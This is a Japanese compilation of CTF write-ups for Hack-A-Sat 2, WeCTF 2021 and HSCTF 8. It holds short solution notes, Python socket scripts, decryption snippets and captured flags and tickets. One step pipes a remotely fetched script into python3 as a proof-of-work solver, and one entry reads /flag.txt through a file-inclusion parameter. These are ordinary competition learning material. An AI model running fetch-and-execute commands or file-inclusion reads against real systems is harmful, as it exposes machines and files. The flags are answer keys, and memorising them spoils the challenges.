hint: 8b7017420f67daeb5f18084994c78b543392dfabe45ea32a0ff169a6321c3bea
k:
12564318430730811333
Good :)
flag{we_have_tried_our_best_to_prevent_the_use_of_z3}
flag{we_have_tried_our_best_to_prevent_the_use_of_z3}

Survey (Misc)

アンケートに答えたら、フラグが表示された。

flag{im_curious_have_u_viewed_source_before_filling_out_the_survey}

Hack-A-Sat 2 Qualifiers Writeup

この大会は2021/6/26 23:00(JST)~2021/6/28 5:00(JST)に開催されました。
今回もチームで参戦。結果は48点で697チーム中280位でした。
自分で解けた問題をWriteupとして書いておきます。

Cape Canaveral (Launch Pad)

添付ファイルを展開していくと、flag.txtにフラグが書いてあった。

flag{romeo64040foxtrot2:GE7O02ptNVioho5UrEOABUWZbsZ35pH5zE3Tu3N2NJp6cxWXNuqozIPTANV0w72eqOxB83XgNEJRsZ-_f7_qkC0}

Vandenberg (Launch Pad)

$ nc light-fever.satellitesabove.me 5030
Ticket please:
ticket{juliet129249mike2:GNxsvTYyRq-i5Uzg9OyZx4pkX39q3b2DZXvTuKGQ-SpEersEyEerz1gnRs_GxsWoWw}
1381188155 + 299201040 = ?

計算問題が出題されるので答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

ticket = 'ticket{juliet129249mike2:GNxsvTYyRq-i5Uzg9OyZx4pkX39q3b2DZXvTuKGQ-SpEersEyEerz1gnRs_GxsWoWw}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('light-fever.satellitesabove.me', 5030))

data = recvuntil(s, '\n').rstrip()
print data
print ticket
s.sendall(ticket + '\n')

data = recvuntil(s, '?')
formula = data.split(' = ')[0]
ans = str(eval(formula))
print data + ans
s.sendall(ans + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Ticket please:
ticket{juliet129249mike2:GNxsvTYyRq-i5Uzg9OyZx4pkX39q3b2DZXvTuKGQ-SpEersEyEerz1gnRs_GxsWoWw}
1381188155 + 299201040 = ?1680389195
You got it!
Here's your flag:
flag{juliet129249mike2:GA2H-aYaRo2aO92FZYrxxlwHUghqK8rhn70U1bPCWv1msQyAIQ5cCeqMtWbhFr9FS4oo1mUiu9BlzG6vKXbTOmw}
flag{juliet129249mike2:GA2H-aYaRo2aO92FZYrxxlwHUghqK8rhn70U1bPCWv1msQyAIQ5cCeqMtWbhFr9FS4oo1mUiu9BlzG6vKXbTOmw}

Edwards (Launch Pad)

$ nc sharp-object.satellitesabove.me 5031
Ticket please:
ticket{mike765988hotel2:GMk7kVfski9enWkhCIP_L2WyfJ8mhq7vqts4PLhFYLJ7awd9HrSXsB0JMLpSsTUFzg}
Please navigate to http://52.14.38.134:19048/ in your favorite browser.
You have 60 seconds.

これで60秒間有効なURLが表示されるので、ブラウザでアクセスする。
「This is the way」のリンクをクリックしたら、フラグが表示された。

flag{mike765988hotel2:GH4gL6bP15VVEr7sSjNDnF6Wy2ai-RAzrKG_ampH4kjHe18aO2FnVGohYyKuWPUIknvpWvDGXqVcFfrcUa5CqVY}

iq (We're On the Same Wavelength)

$ nc unique-permit.satellitesabove.me 5006
Ticket please:
ticket{echo88126papa2:GETJ79_7Zs8MnOuKypq_QGJnT8qbHNv1a9i7OYQ8tLlkzXO0bDS9_SXDd3dT-kqCLA}
IQ Challenge
   QPSK Modulation   
          Q
          |          
    01    |     11   
    o     |+1   o    
          |          
          |          
    -1    |     +1   
===================== I
          |          
          |          
    00    |     10   
    o     |-1   o    
          |          
          |          
Convert the provided series of transmit bits into QPSK I/Q samples
                  |Start here
                  v
Bits to transmit: 01000011 01110010 01101111 01101101 01110101 01101100 01100101 01101110 01110100 00001010
Provide as interleaved I/Q e.g. 1.0 -1.0 -1.0  1.0 ... 
                                 I    Q    I    Q  ...
Input samples:

0は -1.0、1は 1.0に置き換えればよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

ticket = 'ticket{echo88126papa2:GETJ79_7Zs8MnOuKypq_QGJnT8qbHNv1a9i7OYQ8tLlkzXO0bDS9_SXDd3dT-kqCLA}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('unique-permit.satellitesabove.me', 5006))

data = recvuntil(s, '\n').rstrip()
print data
print ticket
s.sendall(ticket + '\n')

data = recvuntil(s, ': ')
bits = recvuntil(s, '\n').rstrip()
print data + bits
data = recvuntil(s, ': ')

bits = bits.replace(' ', '')
ans = ''
for b in bits:
    if b == '0':
        ans += '-1.0 '
    else:
        ans += '1.0 '

ans = ans[:-1]
print data + ans
s.sendall(ans + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Ticket please:
ticket{echo88126papa2:GETJ79_7Zs8MnOuKypq_QGJnT8qbHNv1a9i7OYQ8tLlkzXO0bDS9_SXDd3dT-kqCLA}
IQ Challenge
   QPSK Modulation
          Q
          |
    01    |     11
    o     |+1   o
          |
          |
    -1    |     +1
===================== I
          |
          |
    00    |     10
    o     |-1   o
          |
          |
Convert the provided series of transmit bits into QPSK I/Q samples
                  |Start here
                  v
Bits to transmit: 01000011 01110010 01101111 01101101 01110101 01101100 01100101 01101110 01110100 00001010
Provide as interleaved I/Q e.g. 1.0 -1.0 -1.0  1.0 ...
                                 I    Q    I    Q  ...
Input samples: -1.0 1.0 -1.0 -1.0 -1.0 -1.0 1.0 1.0 -1.0 1.0 1.0 1.0 -1.0 -1.0 1.0 -1.0 -1.0 1.0 1.0 -1.0 1.0 1.0 1.0 1.0 -1.0 1.0 1.0 -1.0 1.0 1.0 -1.0 1.0 -1.0 1.0 1.0 1.0 -1.0 1.0 -1.0 1.0 -1.0 1.0 1.0 -1.0 1.0 1.0 -1.0 -1.0 -1.0 1.0 1.0 -1.0 -1.0 1.0 -1.0 1.0 -1.0 1.0 1.0 -1.0 1.0 1.0 1.0 -1.0 -1.0 1.0 1.0 1.0 -1.0 1.0 -1.0 -1.0 -1.0 -1.0 -1.0 -1.0 1.0 -1.0 1.0 -1.0
You got it! Here's your flag:
flag{echo88126papa2:GL7EtSGPuI6Jiz0StQJ0xLlP2ugBA0MNzXTsdArBZjDzXqdPeU7fsNU3xBvhIpSL5huK7h6wZmOAgwmOSV1ezhU}
flag{echo88126papa2:GL7EtSGPuI6Jiz0StQJ0xLlP2ugBA0MNzXTsdArBZjDzXqdPeU7fsNU3xBvhIpSL5huK7h6wZmOAgwmOSV1ezhU}

WeCTF 2021 Writeup

この大会は2021/6/20 2:00(JST)~2021/6/21 2:00(JST)に開催されました。
今回もチームで参戦。結果は324点で574チーム中283位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome

base64デコードする。

>>> from base64 import *
>>> b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")
b'we%7B584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers%7E%7D'

URLデコードする。

we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}

Include

GETパラメータのkeyが絵文字だが、そのまま/flag.txtを指定すると、フラグが表示された。
f:id:satou-y:20210706221437p:plain

we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}

HSCTF 8 Writeup

この大会は2021/6/15 9:00(JST)~2021/6/19 21:00(JST)に開催されました。
今回もチームで参戦。結果は11278点で1164チーム中52位でした。
自分で解けた問題をWriteupとして書いておきます。

message-from-digitalocean (misc)

動画の最後にフラグが書いてあった。
f:id:satou-y:20210705200952p:plain

flag{thank_you_digitalocean!}

sanity-check (misc)

問題にフラグが書いてあった。

flag{1m_g0in6_1ns@ne_1m_g0in6_1ns@ne_1m_g0in6_1ns@ne}

NRC (web)

右クリックはできないので、ブラウザのデベロッパーツールでHTMLソースを見る。リンクされているuseless-file.cssを見ると、コメントにフラグが書いてあった。

/* cause i disabled it in index.js */
/* no right click = n.r.c. */
/* flag{keyboard_shortcuts_or_taskbar} */
flag{keyboard_shortcuts_or_taskbar}

discord-flag (misc)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

flag{we1c0me_t0_hsctf!}

Return of the Intro to Netcat (misc)

$ nc return-of-the-intro-to-netcat.hsc.tf 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AACaExHwZmkEndhFYanc6O4S
===================

Solution? 

別のターミナルで、実行。

$ python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AACaExHwZmkEndhFYanc6O4S
Solution: 
s.AAB1UQd6uYeLbkJyXnDTMUNp+CpaHK3tPXgLs4bFdIIQ5mc29YkEO43238IU9IwoMO0pmY8RRHRC12uIVNKhoIEJkku9hhqrJJYUe/pj5mkgkCNJ7KIh9UKYeJoRVFCywMrfiVjlhHD6hUSQ0DuZW8Wfa2EAN01/p5qXMQ7XUG35ZRGQ35zeSdUiYvlKchjd/U+fU4vlVHk2JIRSMMGpm3O9

この結果を入力する。

$ nc return-of-the-intro-to-netcat.hsc.tf 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AACaExHwZmkEndhFYanc6O4S
===================

Solution? s.AAB1UQd6uYeLbkJyXnDTMUNp+CpaHK3tPXgLs4bFdIIQ5mc29YkEO43238IU9IwoMO0pmY8RRHRC12uIVNKhoIEJkku9hhqrJJYUe/pj5mkgkCNJ7KIh9UKYeJoRVFCywMrfiVjlhHD6hUSQ0DuZW8Wfa2EAN01/p5qXMQ7XUG35ZRGQ35zeSdUiYvlKchjd/U+fU4vlVHk2JIRSMMGpm3O9
Correct
You got it! Here's what you're looking for: flag{the_cat_says_meow}
flag{the_cat_says_meow}

aptenodytes-forsteri (crypto)

アルファベット大文字の中で18シフトしているので、戻す。

letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

with open('output.txt', 'r') as f:
    encoded = f.read().rstrip()

flag = ''
for c in encoded:
    flag += letters[(letters.index(c) - 18) % 26]

flag = 'flag{%s}' % flag
print flag
flag{QWERTYUIOP}

queen-of-the-hill (crypto)

Hill暗号。https://www.dcode.fr/hill-cipherで復号する。このときkeyは3x3で指定する。

FLAGCLIMBYOURWAYTOTHETOP
flag{climb_your_way_to_the_top}

LSBlue (misc)

$ zsteg lsblue.png 
imagedata           .. text: "Uhv4BR$.<!(2#(0\"(2#*4*4@;L\\l"
b1,b,lsb,xy         .. text: "flag{0rc45_4r3nt_6lu3_s1lly_4895131}"
b2,r,lsb,xy         .. text: "UUTFUUUW"
b2,g,lsb,xy         .. file: PGP\011Secret Key -
b2,g,msb,xy         .. text: "iiUueUUu"
b2,b,msb,xy         .. text: "TUUUEUTAUE"
b2,bgr,msb,xy       .. text: "VU_UUUUeY"
b4,r,lsb,xy         .. text: "UEUffufffgUfffeeEfUVVuVeUUfVffUUVfvvDffVfUUWeFfVfUfeeUeVffUeWffwffeVffeffVfefffvfUEeffffeUgUUUffVeVeUUVfffUfUfeUWvffVefefUfvfgUUVffgeUvfUUfgffeVeVgfffUUUUUUUUUUUVehveUfUVfegeUUUUVgeUVggeUUUUUUUUUUUeVgvVUUUvUEUVvVuUUUfeUUUVvfVffffVfffeVfgeUUUUUUUVffeUUUUVeV"
b4,r,msb,xy         .. text: "jfnn\"ffjf"
b4,g,lsb,xy         .. text: "\"\"\"\"\"\"\"2"
b4,g,msb,xy         .. text: "DHDDDDDDDL"
b4,b,msb,xy         .. text: "7swwwww73sw337s73swww7swwww7w7773www77sww7swwww7swwwwwwwwswwsw7swwwsw7s7ww77sswwwww7wwwww7sww7333s333swww7333s7s"
flag{0rc45_4r3nt_6lu3_s1lly_4895131}

opisthocomus-hoazin (crypto)

フラグを1文字ずつXOR暗号化した後、nの剰余を算出しているが、XORした結果がnより大きくなることはないので、XORで復号する。

with open('output.txt', 'r') as f:
    n = int(f.readline().rstrip())
    e = int(f.readline().rstrip())
    ct = eval(f.readline().rstrip())

flag = ''
for c in ct:
    flag += chr(c ^ e)
print flag
flag{tH1s_ic3_cr34m_i5_So_FroZ3n_i"M_pr3tTy_Sure_iT's_4ctua1ly_b3nDinG_mY_5p0On}

pallets-of-gold (misc)

Stegsolveで開き、Gray bitsを見たら、フラグが見えた。
f:id:satou-y:20210705201830p:plain

flag{plte_chunks_remind_me_of_gifs}

not-really-math (algo)

mが乗算、aが加算で加算を優先。答えは2**32-1の剰余。

$ nc not-really-math.hsc.tf 1337
== proof-of-work: disabled ==
2a1m2a1m3
: 27
1m2a5a2a2m2a1m4a3a1a3m5a2m1a4
: 

mで分割して加算の計算をした後、掛け算をして、2**32-1による剰余を算出する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('not-really-math.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(12):
    data = recvuntil(s, '\n').rstrip()
    print data
    formulas = data.replace('a', '+').split('m')

    adds = [eval(c) for c in formulas]
    ans = 1
    for a in adds:
        ans *= a
    ans %= 2**32-1

    data = recvuntil(s, ': ').rstrip()
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
3m3a2a2a3
:30
3m1a2a1a1a2a5a1m4a4a2a1a1m1a4
:2340
20m79a66a60a27m88a68m32m12m50
:1012826115
197a206a67a191a194a53m251a202m62m96a307m275a174a284m47m32
:2215205283
1a3a1m3m1m1m1m2m1m3a3a1a2m2a1m3m2a1m3a3a1m1a3a2m3a3a3m2m3a2m3m3a2m3a3a2a2a1a1a2m1m2m2a3m1m3m2m3m3m3a2m2a3m3a2a3m1m3a3m1m1m1m3a3a2m3a1m1a2m1m2a1m3a2m2a2m2m2m2a3a3a3m2a3a2a2a2a1a3m2a3a3a1m2m3a2m1a1a1m3
:4087585275
888m889m741m894a282m136m878a615m968a16a849a68m792a968a628m270a786a112m143m488m87a689a328m137a744m760a215a708m453a682a933a442m184m461a353a710a248a240m992m274a816m613m711m411m973m74a855a171a816m186m457
:438936345
10m17a12a3m28m26a28m4m22m6a5m26m8m21m23m30a20m21m13m29m5m11m15a30a19a13m5a23m15m27m16a13m7m17a25m21m14a8a9m24a17m9a6a23m21m26m7a18m26m17m25a21a11a12m11a6m24a29m1m24m9m31m26a11m26m30a31a11a12a8a13m29m20m18a13m6a23a9m22a24a26m31m6m7m3a17a28a4a5a28m7a7m16m3m7a8m27a17a8m27a13a24a27m17m13m14m3a29a20a30m11a4a15a19m1a26m11a5m29a1a23m1a2m15m18a30m1a24a11m11m29a23a4m15m29m8a27a15a6a16a22a10m8m24a25a29m27a12a21m11m26m29a25a18a3a28a26m9a6a25m10a20m8a31m10a18a2m10a12a27m25a6m21a10a17m15a7m31a29a2m25m31m30m20a5m7a14m25m24a1a20a29m13m27m17a21a18m19a10m19a4a28m12a5a31m1a27a31m7m28a3a12a14a6a30a14a29m29m11m23a12m7m20a31a18m10m8a4m23a4a23a26a2m13m15m27m2m18a17m11a11a27a25m16m23m13a8m9a1m13a31m22a20m16a21m29a29a20m11a1m12a18a21a6m17a19m7a16a10a11a29a15m13a19m5a20m1m13m31a6m2m29m10a29a30m10m31a18a6m12a5a4a15a18a17a26a10m23a2m4a22m27m20a14a11a16m1a20m21a21a27a28a22m9a10a12a22m12m3a10a22a17a4m5a30m17m11a27m19a8a30a31a21a27m28m13a11a4m5a26a27m17a1a10a19a25a13m18m8a2a10m4m29a8m31m11a8a26m2m3m9a30m9m21a18a2m31a4a16m3a16a14a18m4m5m21m6a6a13a2m2m24m20m11a8a21m22m14a29m27a5a18m30a27a22m3a11a21m24a26m24a27a5a14m9m13m28m20a1a2a22m18m3a2a13m15a6a11a8m21m30m11a16m9m1m11m17m20a19m16m22a14m29a3m21m11a4a9m7a30a20m10m11a18a11a18m5m11a25m24a28m17m27m6m20m2m13m18m4a26m15a4m5a22a24m2m4m12a7a8m12m27m28m30a3m5m2m27m10m4a11m14m6m6m28a18a24a20a30m7a6a8a13m22m19m6m31m1m20a4a15a22m29m24a10m21m11m1m13m30a26m18a20a27m31a29m6a19a7m7a17m31a29m19a13a26m5m8m12a17m12a4a23m24a23a15a6a5m11m26a9m24m1a16a6m31m28a29m5a15a13a1m5m21m12m8m30a20m3m30a20m29a30a6m16a14a31a8a19a18m29m22m16a10a16a29a12a23a26a23m10a28a23m12m21m2a21a3a4a2a26m28a13m26m9m17a30a23a19a14m31m24a27a26a27a30a19m29m19m24m25a15a22m19m27m22a31m24m22m3a15a1m19m31m12m18m2m13m2m14a12m30m10a7m5m13a13a26m5a29a26m24a31m4m24a23m11m26a30m15m11m20m14m6a28a31m17a27m9m11m15m19m9a10a10m13a24m27a3m10m19a7m3a13a11a20a14m28a16m20a9a2m5m22m5a22a23a24a24m9a20a6m28m1a20m23a23m14a2m23a2a22a8a19a15m27m2m26a3m30m7m4m25m21a12m4a28a10a15a10a3m12a13a27a25m9a1a10a17a15m31m9m24m22a20m21a10a10a8m3m31a30a17m4a23a14m4m21m3a8m30a24m8a29a17m15m27a30a6a27m29m10m22m30m28a31a22a7a23m8a16a5m12a10m1m7m21a6a27m29a25m9a9a30a22a21a15a1a7a29a11a29m15a31a3m5a5a24m1a16a4m3a8a16m26m31a26a2a4a31a4a15a4a23a24a13m31a28m6a6a2a18a9m3m10m24a30a25a21a27m10a15a24a31m5a7a11m30m18m26a8m21m31m20m8a21m29a15m20a10m24a1a31m22a8a14a16a18m25m6a9a24m2m28m17a25a8a28a28a1m5a28m29a30a12a25a27a3a21a11m31a30m30a29m21a17m29m1m23a29m5a21a19m30a16a17a9a5m7a17m12a1a27m10m18m4m19m23a24m1a29m19m2m20m6m27m30m14a15a10a13m14a23a15a13a17a29a10a24m19m3m15m27a15a11a12m14m29m30m18m19m19m5m30a4m11a12m20m11m20a11a25m17a27a8a15a14m1m29a2a3m29m17a20m7m3a21m11m28m29a3a28m31a7a22m27m27a10m31m23m1m7m25a3a7a25m30a7a22m13a11m7m23a11m27m25m7a16a12a19m12a27m4m19m31m7m30a1a31m14a18a1m11m24m28m5m20a15a6m29m5a31a26m10a31a29a7a6a11m25m30m27a20a2m29m23m13a15a22m4a31a31m24m28m11a14a8a3m31m29a12a21m24m21m31m21m13m27m24m25a20m2a10m22m16m20a6m23a16a26m16m27a18a10a1m26m8m20a27a6m24a2a4a7a14m22m28m15a25a2m13m29m19a19a20m1m9m8a22a11m4
:3248384310
3a2a5a1a3m2m2m5a2a3a1a1a4a1m3a5a5m5m2m2a3a4m2a4m5m2a3m2m5a4m3m4a1a4a2a5a2m1m2m5m4m3m3a5a4a4a3a4m2a1m1a1m4m1m2a2a1m2a5a1m3m1m1m5m2m3m2a4a5m2m3m1m1a2a3a3m2m1m4a1a1m4m5m5m3a1a3a2m3m5m2a2a5m5m1m5a2m2a5m1a1m5a1a3m2m4m4a2a5a2m2m4a4a2a2a5a3a3m2m4a4m3m1a2m2m3a5m3m4m5a2m3a2a4m1m2m1a1m2a2m5a2a2a3m5m1a3m5m3m2m1a5a4a1m4m1m1a1m3a4a4m1m5m3a1m2m2a2a1m5m2m1a5a5a4a5a5m1m5a3a4m4a3a3m4m2a2m4a5a1a4m2m1m1m2a4a5a1m4m4a1a3m3a1a4a3m4a1a1m3a4m5m5a2m2m5a5a1a2m2m3a4m2m2a1a5a1a2m4a5a4a2a4a5m2m2a3m5m3m5m1m2a5a2m4a5m4m4m5m5m1m4a4m1m2m5a5m5m3m4m3m3a4m3a5m1m3a2m5m1m4a4a2a5m4a5a2a1a2a2m2m5m3a4a2m4a5a1m1m3m2a5a5a2m5m3a5m4a3a5a5m2a1a1m3m5m5m2m4a5m2m1a2a3a3m3m1m1a3a5a1a5m3m5a2m4a3a2a5m5m5m3a5m3m3m2a4m5a5a4a1a3a2m3m2m2a1m5m1m2a5a3a4a5m4m3a2a1m2m2a4m3m2m4a5a4a4a3m5a3m3a1a5m5a2m1m1a3a2a3a5m1a4a5a5m1a1a1a2a1m2m5a5a5a2a3a4m3a3a5m1m5a1a5m2m5a5m2a5a4m2a5a2m1a4a4m3a4a4m1a2m5m2a1a3a3a4m1a3m4a5a5m4m1m1a1a5a4a1a3a1a3m5m2m3m4m3a1m4m4m4m4a3m1m4a4a4m4m3m4m1a1m2a4a3a4m5a3a5m4m4a5m3m2a1a1m2m3a5a4m5m1m1a5m1a5a2m3m5m3m5a4a4a4a4a3a2a4m4a4a2a2a4a2a1m5m4m4a2m2a1a3a1m4a4m3m4m2a4a1a3a3m3a2a2a1m2m2a5a5m3m5m4a5m5a3m4m3a5m1a3m1a5m4a5a2a2m5a1m4a4m3m2m3a2a5m4m5a2a2a2a1a2m3a5m3a3m2a3a1a2a2a2m5a1a1m1m5a2m1a5a1a5m1m3a5a3m5a3a3m4m1m3a5a2m5m5m3a1m3a4m4a1a3a3m5m3m1a4m4m4a2m5m4m4a2m3m5m1a1a1a1a5m5a1a4a2m3m5m4a5a2m3m2m5a2a3m5m1a2m2m3a2a3m3a3a2a2m5a2m3a5m1m4m1m3a1a1a1m1m2m1a3a5m4a4a4m4a3a2a1a1a5a2a2a4a2m2a5m1m5a2a3m5a1m2m2a3a4a5m1a3a5a2m3a4a1m2m4a2a3a2m4a4a2a3m1m3m2a4a3a2m4m4a4a2m1a1a1m3a4m2a1a4m1m2m1m4a5a2a4m5a2m5m3a5m2a4m1m4a2a1m4a2m3m2a3m5a2a1a4a4m5m4m1a5a3a5a3a2m2m4a1a1a2a4a4a4a3a3m5a3m5a3m5m4a4m1m2m4m5m3m5m5a3m2a5m3m1a3m3a2a4a1a3a5m3m4a1m2a5a5a2a4m3a4m1m2m5a5a2m2m2a5m4a3a3m2a5a4m3a3a4a3a3a1m5a3a5a4m5a4a1a3m1m2m1m1m1m4a4a1a2a1a2m1m2a5m4a5a5a3a4a3m5a5a1a2m3a1m5a2a3m5m2m2a4a1a3m5m3a2m4a1a4m1a3m5m2m2m4m5m1m2m3m4m1a4m5m1a4a5a2m2m1m2a2m1a5a1a3a3a2m3m2a1a2m4m3m5m1m2a3m5m1m2a5a1a1m4m3a2m4m3m5m4m2m5m3m2m5a5m4a1m5a1a4a1m3a1m3a3a5a4m3a1m3a4a5m3a5a5m1m4m1a1a3m1m4m4a1a3m2a4m3m5m5m2a1a4a1m5m5a3m5m5a1a5m4m5m4a1a1a2a5m2m2m2a4a1m3m2a1m1a1a4a1a2a2m3m5a5a2m3a5m4m3m1m2m4a4a4m5m5m4m2m5a3a4a5a1a4a1a1m4m5m3a3m2a2m5m5a4m4a5m1m2a4a5m2m5m2m1m3m3a1a2m5a4a5a5m4a2m1a2a3m1a5m3m2a2m4a5a5m2m4m5m1a1a1a4a3a4m4m1m2a4a2m4m4a3a3a1m3a3a2m4a1m1a5a1m1a3a2a2m1a4a3m2a2m4a2m5m5a5a4m3a3a3m2m5a1m1m2m2m5a3m5a5m1a4m4m2m3m4a1a5a5m5a3m1m2m2m2a1m1a2a3a3m5a1m2a2m1m5m5m1a3m2a4m4a3m3m5a1a3m3m2m2a1a4m1a1a3a2m3a4m2a4a4a1a5m1a1m5m1m1m3m3a3m4m3m4m5m3m4m3a5m4a5m5a3m3a2m4m2m4m2a5a5a4m4m1m1m1a2a2m4a2m3m3a2m3a3m4a1m5a3m4a5a4m1m1a4m5m4m1m5m2a4m2a2a1a1a5m2m1m5a3m4m3m5a3a4m5a3m4a2m1m1a5m1a4m3a1a2a5m2m1m4a4a2m1m4a5m2m2a4m1m5a5m5a1a5m4m5m2m3m5a1m3a2a4a5a1m5m1m1m1a1m3a3m5m2a1m3m5m4a3m3a4m4m3a1m2a4a2m5m4a2a2a5m3a1a4a1a1m3m3a1a1m5a2a2a4m4m3m5m1a4a3m5a2m5m1m4m5a1a5m4a3m1a1m5m1a4m3a3m3m1a1a1m3a3a5a1a3a4m5m1a3a2a5a5a5a4a4a1a2a4m1a3a3a3a2m3a4m4m4a2m4m2a1a4a3a1m1m4m3m3m3a4a1m4a4m5m1m5a3a3a4a2a3a3m2a3a4a4m3a3a5a3m2m4a2a2a3a3m4m4a1m4m4a4m2m1a2m2m2a1m1a5a3m1a3a4a3a3a1a2m1a1a3m3m4a3a4a4a1a2m5a5m2m3m3a4m3m1a4m5a2a5m3a3a1a5m3m2m3m4a3a5a1m2m2a4m3a2a1m4m4a5a1m5m3m3a1a4m5a3m2a1a2a5a5a3a2m4m4a1m3m3m1m4m5m3m2a4a1a1a4a5a3m2m1m1m4a5m2a3m1a1a1a1a1m1m5a4a3m3a1m3m3a2m3a2a3a5m2a2a5a1a4m3m3m5a1m5m4a1m1m3a1a3m3a2a5a3a3m2a3a4m2m1a5a2m5a4a2m3a3a1a5m4m1a4m3m4a3m2a1m4a2a4m4m1a1m3m2m3m4m4m2m3m5m1m5m1m2m2a3m4a1m5a2m5m5m5a2a5a2a1m2a5m1m1a5m3a1m3m5a2a4a2m2a5a1a4m2m3m3a3m2m5a1m5m3m2a3m5a5a4m5m5m3m5a3a5a4m2m4m5a4m5a5m4m3a1m3a5a5m3a5m5a5m1a1m2a1m3a1m5m2a2m1a4m3m2a2m1a1a5a5a4a5a5m4a4a3a1m2a3m1m1a2a5m5m4a5m3m1m3a5a2a4a5m4m3m1a5a2m1a4m3a4m3a4m1m4a5a3a5a5a1m3a4a2m5m1m1m1m1m1a1m4a2a1m5a3m2m3m2a4m4m4a2m1m4a4m1m2m2a3a1m4m5m3m2m2m2m4m5m4m3m2m1a2a4a2m3a4a1m5a4m5m5a4a3m2m3m1a3a2m5m4a3m5m1a2a4m5m3a4m1a5m1m4m3m2m3a4a3m1a4a4m1a3m3a3m4m5m2m1a2a2a5a3a4a5m2m1a1a3m4m3m1a5m5m2m2a2a2a4a3m4m3m2a4a5m3a1m1m1a4m2m4a3a4m1m1a4m4a1a1a1a1m1a5a3m1a3a2a3a5a5m3a3m3m4m1m1m1m2m1a4a1m1m1m1a1a4a4m1m3a2m3a2m3m3m1m1a2a3m2a3m5a1a1m3m5m1a3m2a3m5m2a2m4m5a5a3m4a2a4m2m2m2m2a4m4m5m4m3m4m2a3a5a2a2a3m2m3a5m5a5m5m4a3m1m1a5a1m4m5a4a5a2a4m3a2m3m3m4a3m4a1m3m5a2a2m2m2a2a2a5a2m1a3a2m3a4a1a1a2m3m1m3m1m5a2m5a3m3a4a2m1m1m3m1m4a3a3m1m3m1m2a2m3a3m3a4m4m1m3m4a2m4a2m1m2m4m2m1a5m5a3m3a2m4a4m5a5a5a2m4m4m4m3m5m1m4m2m1a5a2m4a1m4m4a3m2a2a2a2m5a1m4m2m1m4m4m4m3a1a5m4m3a3m1a4m4m4m1m4m5m1m1a1m1a2a2a4a2m1a3m1a1a4a5a5m1a1m4a2m2a1a4a5a3m2m4m4m1m5a3a1m1a5a2a5a2a4a3a5a3a2a4a4m3a2a4m4a3a3a5a5a2m3m2m5m2m1a2m2a3m2m3m4m5m3m5a5a2a5m5m2a2a5a3m4m3a4a1m5m5a5a1a2m4m1a3m2m4a5a1m4a5a4a1m4a4m3m4m2m1m4m2m5a1a2m3m4m2m3a3a1a5m1a5a2a5a2a3m5a2a5a2a5m5m5a3m1m2a4a4a3a4a4m4m1a4a5a1m5m2a2m5m4a2m1a1a5m1m2a4m1a4a5m3a5m1a1m4m4m4a1a3m4a4m1m1m3a1m5m5m4m1a3a5a2m1a3a3a5m1m1m5a5m3a1a2m4a3a5a1a2a5m4m2a1a4m3m5a5m2a1a4a2a3a1m5a2a4m4a3a5m5a3m4m3a1m5m2a3m5a3a5m4m5m1m3m4m1a1m3a1a2m3m5a5a2a5m1m5a5a2a2a3m3m1m4m3m2m5m1m2a4a1m5a3a4a3m5a2m3m2m2m3a5a2a1m1a1m2m4a3m3m2a5a1m5a4a1a3a2a4a2a5m5m3a5a2m3m1m2a3a2a4a1m3m1m4m4m2a2a3m2m3m2m1m4a5a5a3a2m5a1a5a3m5m2m2m2a1a1m4a5m2a5a4a5m1m3a2a1m3m1m3m3m2m2a2a5m4a5a5m5m2a4a4m4a5a1a3m1a3m4m1a3a3a3m1m3m4a3m3m4m1a4m5a2a4m3m3m4m5a1m3a3m5a4a4a3m5a3a5m4a3a5a5m2a1m4a5a4m4a5a5a4a3m3m2m2a3a5m2a4a1m3m1m4m3a2m4m2m1a3a2m3m4m3a4m4m3a5a4m1m2a5a1m2m2a4a4m5m5m4m2a1m1
:3033114840
